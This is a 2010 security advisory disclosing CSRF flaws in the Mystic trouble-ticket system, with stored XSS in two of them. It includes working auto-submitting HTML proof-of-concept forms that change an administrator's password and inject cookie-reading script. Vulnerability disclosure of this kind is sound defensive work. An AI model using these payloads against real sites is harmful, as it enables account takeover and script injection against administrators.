Cross-site Request Forgery (CSRF) Vulnerabilities in Mystic
Advisory ID: | HTB22533 |
Product: | Mystic |
Vendor: | Hulihan Applications |
Vulnerable Versions: | 0.1.4 and probably prior |
Tested Version: | 0.1.4 |
Advisory Publication: | July 27, 2010 [without technical details] |
Vendor Notification: | July 27, 2010 |
Public Disclosure: | August 10, 2010 |
Vulnerability Type: | Cross-Site Request Forgery [CWE-352] |
Risk Level: | Medium |
| |
CVSSv2 Base Score: | 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Mystic which could be exploited to perform cross-site request forgery attacks.
1) Cross-site request forgery (CSRF) in Mystic 1.1 The vulnerability exists due to insufficient validation of the request origin in admin/change_password. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s password. Exploitation example: <form action="http://host/admin/change_password" method="post" name="main" > <input type="hidden" name="user[password]" value="12345" /> <input type="hidden" name="user[password_confirmation]" value="12345" /> <input type="hidden" name="commit" value="Change Password" /> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to insufficient validation of the request origin in admin/create_new_category. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create arbitrary sections. Due to insufficient sanitation of input data in the “category[name]” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/admin/create_new_category" method="post" name="main" > <input type="hidden" name="category[id]" value="999" > <input type="hidden" name="category[name]" value='mynewcat"><script>alert(document.cookie)</script>' /> <input type="hidden" name="commit" value="Create New Category!" > </form> <script> document.main.submit(); </script>
1.3 The vulnerability exists due to insufficient validation of the request origin in admin/create_new_status. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new ticket status. Due to insufficient sanitation of input data in the “status[name]” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website. Exploitation example: <form action="http://host/admin/create_new_status" method="post" name="main" > <input type="hidden" name="status[id]" value="999" > <input type="hidden" name="status[name]" value='status name"><script>alert(document.cookie)</script>' > <input type="hidden" name="commit" value="Create New Status!" > </form> <script> document.main.submit(); </script> |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback. |
|
References: |
[1] High-Tech Bridge Advisory HTB22667 - https://www.immuniweb.com/advisory/HTB22667 - Multiple Vulnerabilities in Mystic [2] Mystic - http://hulihanapplications.com/projects/mystic - Mystic is an open source trouble ticket system written in ruby on rails(RoR). [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.